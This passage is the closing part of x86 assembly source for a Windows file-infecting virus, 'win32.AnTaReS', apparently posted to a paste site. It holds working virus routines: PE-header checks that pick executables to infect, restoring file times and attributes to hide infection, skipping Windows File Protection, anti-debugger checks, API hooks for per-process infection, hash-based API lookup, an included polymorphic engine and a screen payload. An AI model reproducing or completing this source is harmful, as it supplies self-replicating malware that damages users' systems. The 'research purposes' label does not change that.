  2459.     mov     eax,[@MapHandle+ebp]    ; Closing the handle
  2460.     call    CloseHandle
  2461. IsFile@4:
  2462.     lea     eax,[@FindData.WFD_ftLastWriteTime+ebp]
  2463.     push    eax
  2464.     sub     eax,08h                 ; Restore the initial file time
  2465.     push    eax
  2466.     sub     eax,08h
  2467.     push    eax
  2468.     push    [@OpenHandle+ebp]
  2469.     call    [@SetFileTime+ebp]
  2470. IsFile@3:
  2471.     mov     eax,[@OpenHandle+ebp]
  2472.     call    CloseHandle             ; Close the file create handle
  2473. IsFile@2:
  2474.     mov     eax,[@FindData.WFD_dwFileAttributes+ebp]
  2475.     push    eax                     ; Restore the initial file attributes
  2476.     lea     esi,[@FindData.WFD_szFileName+ebp]
  2477.     push    esi
  2478.     call    [@SetFileAttributesA+ebp]
  2479. IsFile@1:
  2480.     xor     eax,eax                 ; eax=NULL file not valid
  2481.     pop     edi ebx
  2482.     ret
  2483. IsFileOk endp
  2484.  
  2485. ;#################################################################
  2486. ;# Do Check Stuff
  2487. ;#  In: eax->@FileAddr
  2488. ;#  Out: eax=01h Error: eax=00h
  2489. ;#################################################################
  2490. DoCheckStuff proc
  2491.     mov     edi,eax
  2492.     mov     ax,[edi]
  2493.     cmp     ax,'ZM'                 ; Have DOS stuff header?
  2494.     jnz     DoCheck@1
  2495.     mov     ax,[edi+18h]
  2496.     cmp     ax,40h                  ; Is a NewExe?
  2497.     jnz     DoCheck@1
  2498.     mov     eax,[edi+3Ch]
  2499.     add     edi,eax
  2500.     mov     ax,[edi]
  2501.     cmp     ax,'EP'                 ; Have a PortableExe header?
  2502.     jnz     DoCheck@1
  2503.     mov     ax,[edi+04h]
  2504.     cmp     ax,014Ch                ; For Intel386?
  2505.     jnz     DoCheck@1
  2506.     mov     ax,[edi+06h]
  2507.     cmp     ax,03h                  ; At least 3 sections
  2508.     jb      DoCheck@1
  2509.     mov     ax,[edi+14h]
  2510.     or      ax,ax                   ; Have an Optional Header?
  2511.     jz      DoCheck@1
  2512.     mov     eax,[edi+1Ch]
  2513.     or      eax,eax                 ; And a valid Code section?
  2514.     jz      DoCheck@1
  2515.     mov     eax,[edi+2Ch]
  2516.     or      eax,eax                 ; Have Code section, right?
  2517.     jz      DoCheck@1
  2518.     mov     ax,[edi+5Ch]
  2519.     dec     ax                      ; Check it is a Windows GUI app
  2520.     dec     ax
  2521.     jnz     DoCheck@1
  2522.     mov     eax,[edi+3Ch]           ; Save the AlignFactor
  2523.     mov     [@AlignFactor+ebp],eax
  2524.     xor     eax,eax
  2525.     inc     eax                     ; Ok, file is valid
  2526.     ret
  2527. DoCheck@1:
  2528.     xor     eax,eax                 ; Ups... try again
  2529.     ret
  2530. DoCheckStuff endp
  2531.  
  2532. ;#################################################################
  2533. ;# Check Sfc
  2534. ;#  In: esi->FileName
  2535. ;#  Out: eax=01h (No Sfc) Error: eax=00h (File Protected)
  2536. ;#################################################################
  2537. CheckSfc proc
  2538.     mov     eax,[@SfcIsFileProtected+ebp]
  2539.     or      eax,eax                 ; Look if we have Sfc loaded
  2540.     jz      CheckSfc@1              ; If not skip and go on
  2541.     lea     edi,[@FindData.WFD_nFileSizeHigh+ebp]
  2542.     push    edi
  2543.     lea     edi,[@PathTwo+ebp]      ; Just get the full path of file
  2544.     push    edi
  2545.     push    MAX_PATH
  2546.     push    esi
  2547.     call    [@GetFullFilePathA+ebp]
  2548.     or      eax,eax
  2549.     jz      CheckSfc@2
  2550.     mov     esi,edi
  2551.     lea     edi,[@PathSfc+ebp]
  2552.     call    Asciiz2Unicode          ; Make the path unicode
  2553.     push    edi                     ;  and check if the file is protected
  2554.     push    eax
  2555.     call    [@SfcIsFileProtected+ebp]
  2556.     or      eax,eax
  2557.     jz      CheckSfc@1              ; If protected file, try with other one
  2558. CheckSfc@2:
  2559.     xor     eax,eax                 ; Ups! we have Sfc... take care
  2560.     ret                             ;  with protected files
  2561. CheckSfc@1:
  2562.     inc     eax                     ; If not protected... you know what
  2563.     ret
  2564. CheckSfc endp
  2565.  
  2566. include ..\Source\ETMS.inc              ; Expressway To My Skull [ETMS] by b0z0/iKX
  2567.  
  2568. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  2569. ;#################################################################
  2570. ;# Virus Data (win32.AnTaReS)
  2571. ;#################################################################
  2572. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  2573.  
  2574. ;#################################################################
  2575. ;# Var for Virus Main Body
  2576. ;#################################################################
  2577. @Critical:
  2578. @ImageBase              dd      00400000h           ; Hardcoded ImageBase
  2579. @DefaultVirusBegin      dd      offset @VirusBegin  ; Hardcoded VirusBegin
  2580. @EpoCall                dd      00406054h           ; Hardcoded offset of MessageBoxA in Import table
  2581. @CallType               dd      00000000h           ; Tasm calls for 1st gen
  2582. @KernelBase             dd      ?
  2583. @AlignFactor            dd      ?                   ; Some Main vars
  2584. @NewHostSize            dd      ?
  2585. @NewVirusSize           dd      ?
  2586. @OldImageBase           dd      ?                   ; Vars for Infection proc
  2587. @OldDftVirusBegin       dd      ?
  2588. @OldEpoCall             dd      ?                   ; Vars for Epo Stuff
  2589. @OldCallType            dd      ?
  2590. @PatchOffset            dd      ?                   ; Offset to patch (epo routine)
  2591. @Random                 dd      ?                   ; Random value
  2592. @VirusBuffer            dd      ?                   ; Buffer for a new virus clean copy
  2593.  
  2594. ;#################################################################
  2595. ;# Var for Anti Debug
  2596. ;#################################################################
  2597. @SoftIceA       db      '\\.\SICE',0
  2598. @SoftIceB       db      '\\.\NTICE',0
  2599.  
  2600. ;#################################################################
  2601. ;# Var for File Handle
  2602. ;#################################################################
  2603. @OpenHandle     dd      ?               ; Handle of open file
  2604. @MapHandle      dd      ?               ; Handle of file map
  2605. @FileAddr       dd      ?               ; Base Addr of mapped file
  2606.  
  2607. ;#################################################################
  2608. ;# Var for Load Sfc Library
  2609. ;#################################################################
  2610. @SfcIsFileProtectedN    db      'SfcIsFileProtected',0
  2611. @SfcIsFileProtected     dd      ?       ; Classic vars
  2612.  
  2613. ;#################################################################
  2614. ;# Var for GetAllApiAddress
  2615. ;#################################################################
  2616. @OrdinalTable   dd      ?               ; Ordinal Table Addr
  2617. @AddressTable   dd      ?               ; Address Table Addr
  2618. @NameTable      dd      ?               ; Name Table Addr
  2619. @NumberNames    dd      ?               ; Number of apis imported by name
  2620.  
  2621. ;#################################################################
  2622. ;# Var for Find Direct Action
  2623. ;#################################################################
  2624. @PathOne        db      MAX_PATH dup (?)
  2625. @PathTwo        db      MAX_PATH dup (?)
  2626. @FindData       WIN32_FIND_DATA ?       ; Find File Struct
  2627. @FindMask       db      '*.*',0         ; General Mask (all kind of files)
  2628. @FindHandle     dd      ?               ; The Find Handle
  2629.  
  2630. ;#################################################################
  2631. ;# Var for Find Link Files
  2632. ;#################################################################
  2633. @SubKey         db      'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',0
  2634. @RegName        db      'Desktop',0     ; Some values like the SubKey, type and name
  2635. @RegType        db      'REG_SZ',0
  2636. @FindLink       db      '*.LNK',0       ; For FindFirst / FindNext
  2637. @RegSize        dd      MAX_PATH        ; The Buffer size
  2638. @RegHandle      dd      ?               ; Handle of open register
  2639.  
  2640. ;#################################################################
  2641. ;# Var for Payload
  2642. ;#################################################################
  2643. @SystemTime     SYSTEMTIME      ?       ; For payload use
  2644. @Xcoord         dd      ?               ; Coord of screen center
  2645. @Ycoord         dd      ?
  2646. @DeviceCtx      dd      ?               ; Some handles
  2647. @HandleIcon     dd      ?
  2648. @Degrees        dd      ?
  2649. @Const          dd      000000B4h       ; 180... for radians/degrees conversion
  2650. @Radius         dd      00000070h       ; Radius of circles
  2651. @Result         dd      ?
  2652.  
  2653. ;#################################################################
  2654. ;# Var for Per Process
  2655. ;#################################################################
  2656. @OffsetsHookStruct:
  2657. @HookApi1       dd      offset HookCreateFileA         ; Offsets of the hooking process
  2658. @HookApi2       dd      offset HookMoveFileA
  2659. @HookApi3       dd      offset HookCopyFileA
  2660. @HookApi4       dd      offset HookCreateProcessA
  2661. @HookApi5       dd      offset HookSetFileAttributesA
  2662. @HookApi6       dd      offset HookGetFileAttributesA
  2663. @HookApi7       dd      offset HookSearchPathA
  2664.  
  2665. ;#################################################################
  2666. ;# Var for Load New Library
  2667. ;#################################################################
  2668. @Advapi32N      db      'ADVAPI32.DLL',0 ; Name of Libraries we need
  2669. @User32N        db      'USER32.DLL',0
  2670. @SfcN           db      'SFC.DLL',0
  2671.  
  2672. ;#################################################################
  2673. ;# Struct Apis Crc32 (ADVAPI32.DLL)
  2674. ;#################################################################
  2675. @Advapi32:
  2676. CrcRegOpenKeyExA        dd      0CD195699h
  2677. @RegOpenKeyExA          dd      ?
  2678. CrcRegQueryValueExA     dd      088B7093Bh
  2679. @RegQueryValueExA       dd      ?
  2680. CrcRegCloseKey          dd      0841802AFh
  2681. @RegCloseKey            dd      ?
  2682.                         db      0EEh
  2683.  
  2684. ;#################################################################
  2685. ;# Struct Apis Crc32 (USER32.DLL)
  2686. ;#################################################################
  2687. @User32:
  2688. CrcGetDC                dd      0BAD76D5Bh
  2689. @GetDC                  dd      ?
  2690. CrcReleaseDC            dd      0CBB05455h
  2691. @ReleaseDC              dd      ?
  2692. CrcGetSystemMetrics     dd      0EADFEB07h
  2693. @GetSystemMetrics       dd      ?
  2694. CrcLoadIconA            dd      0B9C520FCh
  2695. @LoadIconA              dd      ?
  2696. CrcDrawIcon             dd      074610281h
  2697. @DrawIcon               dd      ?
  2698. CrcMessageBeep          dd      0654BBB02h
  2699. @MessageBeep            dd      ?
  2700.                         db      0EEh
  2701.  
  2702. ;#################################################################
  2703. ;# Struct Apis Crc32
  2704. ;#################################################################
  2705. @ApisCrc32:
  2706. CrcGlobalAlloc          dd      083A353C3h
  2707. @GlobalAlloc            dd      ?
  2708. CrcGlobalFree           dd      05CDF6B6Ah
  2709. @GlobalFree             dd      ?
  2710. CrcGetFileSize          dd      0EF7D811Bh
  2711. @GetFileSize            dd      ?
  2712. CrcGetFileTime          dd      04434E8FEh
  2713. @GetFileTime            dd      ?
  2714. CrcSetFileTime          dd      04B2A3E7Dh
  2715. @SetFileTime            dd      ?
  2716. CrcGetFullFilePathA     dd      08F48B20Dh
  2717. @GetFullFilePathA       dd      ?
  2718. CrcGetModuleHandleA     dd      082B618D4h
  2719. @GetModuleHandleA       dd      ?
  2720. CrcGetTickCount         dd      0613FD7BAh
  2721. @GetTickCount           dd      ?
  2722. CrcFindFirstFileA       dd      0AE17EBEFh
  2723. @FindFirstFileA         dd      ?
  2724. CrcFindNextFileA        dd      0AA700106h
  2725. @FindNextFileA          dd      ?
  2726. CrcGetCurrentProcess    dd      003690E66h
  2727. @GetCurrentProcess      dd      ?
  2728. CrcWriteProcessMemory   dd      00E9BBAD5h
  2729. @WriteProcessMemory     dd      ?
  2730. CrcCloseHandle          dd      068624A9Dh
  2731. @CloseHandle            dd      ?
  2732. CrcCreateFileMappingA   dd      096B2D96Ch
  2733. @CreateFileMappingA     dd      ?
  2734. CrcFindClose            dd      0C200BE21h
  2735. @FindClose              dd      ?
  2736. CrcFreeLibrary          dd      0AFDF191Fh
  2737. @FreeLibrary            dd      ?
  2738. CrcGetCurrentDirectoryA dd      0EBC6C18Bh
  2739. @GetCurrentDirectoryA   dd      ?
  2740. CrcGetProcAddress       dd      0FFC97C1Fh
  2741. @GetProcAddress         dd      ?
  2742. CrcGetSystemDirectoryA  dd      0593AE7CEh
  2743. @GetSystemDirectoryA    dd      ?
  2744. CrcGetSystemTime        dd      075B7EBE8h
  2745. @GetSystemTime          dd      ?
  2746. CrcGetWindowsDirectoryA dd      0FE248274h
  2747. @GetWindowsDirectoryA   dd      ?
  2748. CrcLoadLibraryA         dd      04134D1ADh
  2749. @LoadLibraryA           dd      ?
  2750. CrcMapViewOfFile        dd      0797B49ECh
  2751. @MapViewOfFile          dd      ?
  2752. CrcSetEndOfFile         dd      059994ED6h
  2753. @SetEndOfFile           dd      ?
  2754. CrcSetFilePointer       dd      085859D42h
  2755. @SetFilePointer         dd      ?
  2756. CrcSetCurrentDirectoryA dd      0B2DBD7DCh
  2757. @SetCurrentDirectoryA   dd      ?
  2758. CrcUnmapViewOfFile      dd      094524B42h
  2759. @UnmapViewOfFile        dd      ?
  2760. @ApisCrc32Hooks:
  2761. CrcCreateFileA          dd      08C892DDFh
  2762. @CreateFileA            dd      ?
  2763. CrcMoveFileA            dd      02308923Fh
  2764. @MoveFileA              dd      ?
  2765. CrcCopyFileA            dd      05BD05DB1h
  2766. @CopyFileA              dd      ?
  2767. CrcCreateProcessA       dd      0267E0B05h
  2768. @CreateProcessA         dd      ?
  2769. CrcSetFileAttributesA   dd      03C19E536h
  2770. @SetFileAttributesA     dd      ?
  2771. CrcGetFileAttributesA   dd      0C633D3DEh
  2772. @GetFileAttributesA     dd      ?
  2773. CrcSearchPathA          dd      0F4D9D033h
  2774. @SearchPathA            dd      ?
  2775.                         db      0EEh
  2776.  
  2777. @CopyLeft       db      'win32.AnTaReS by PiKaS (only for research purposes)',0
  2778. ;#################################################################
  2779. ;# Var for Virus Core
  2780. ;#################################################################
  2781. @PathSfc        dw      MAX_PATH dup (?)  ; Just a huge buffer
  2782. @VirusEnd:
  2783.  
  2784.         end     HostStart
  2785.  
  2786. ;#################################################################
  2787. ;# Metropolis-PartI:The Miracle And The Sleeper (DreamTheater)
  2788. ;####################################[Win32.AnTaReS by PiKaS]#####
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement